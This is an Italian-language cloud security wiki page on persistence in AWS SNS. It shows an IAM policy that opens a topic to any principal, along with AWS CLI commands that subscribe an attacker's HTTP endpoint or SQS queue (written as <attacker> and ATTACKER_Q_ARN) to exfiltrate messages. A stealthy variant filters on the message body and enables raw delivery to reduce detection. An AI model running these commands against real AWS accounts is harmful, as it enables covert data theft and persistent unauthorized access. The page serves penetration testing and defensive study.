AWS - SNS Persistenza

Reading time: 4 minutes

SNS

Per maggiori informazioni consulta:

AWS - SNS Enum

Persistenza

Quando si crea un SNS topic è necessario indicare con una IAM policy chi ha accesso in lettura e scrittura. È possibile indicare account esterni, ARN di role, o perfino "*".
La seguente policy concede a chiunque in AWS l'accesso in lettura e scrittura al SNS topic chiamato MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Creare Subscribers

Per continuare a exfiltrating tutti i messaggi da tutti i topic, un attacker potrebbe creare subscribers per tutti i topic.

Nota che se il topic è di tipo FIFO, solo subscribers che usano il protocollo SQS possono essere utilizzati.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

Esfiltrazione covert e selettiva tramite FilterPolicy su MessageBody

Un attaccante con sns:Subscribe e sns:SetSubscriptionAttributes su un topic può creare una subscription SQS furtiva che inoltra solo i messaggi il cui body JSON corrisponde a un filtro molto restrittivo (per esempio, {"secret":"true"}). Questo riduce il volume e la possibilità di rilevazione mantenendo comunque l'esfiltrazione di record sensibili.

Potential Impact: Esfiltrazione covert e a basso rumore di soli messaggi SNS mirati da un topic vittima.

Steps (AWS CLI):

• Assicurarsi che la policy della coda SQS dell'attaccante permetta sqs:SendMessage dal TopicArn della vittima (Condition aws:SourceArn uguale al TopicArn).
• Creare la subscription SQS al topic:

aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN

• Impostare il filtro in modo che operi sul message body e corrisponda solo a secret=true:

aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'

• Stealth opzionale: abilitare RawMessageDelivery così che solo il payload raw arrivi al ricevente:

aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true

• Validazione: pubblicare due messaggi e confermare che solo il primo venga recapitato nella coda dell'attaccante. Esempi di payload:

{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}

• Cleanup: unsubscribe e cancellare la coda SQS dell'attaccante se creata per i test di persistence.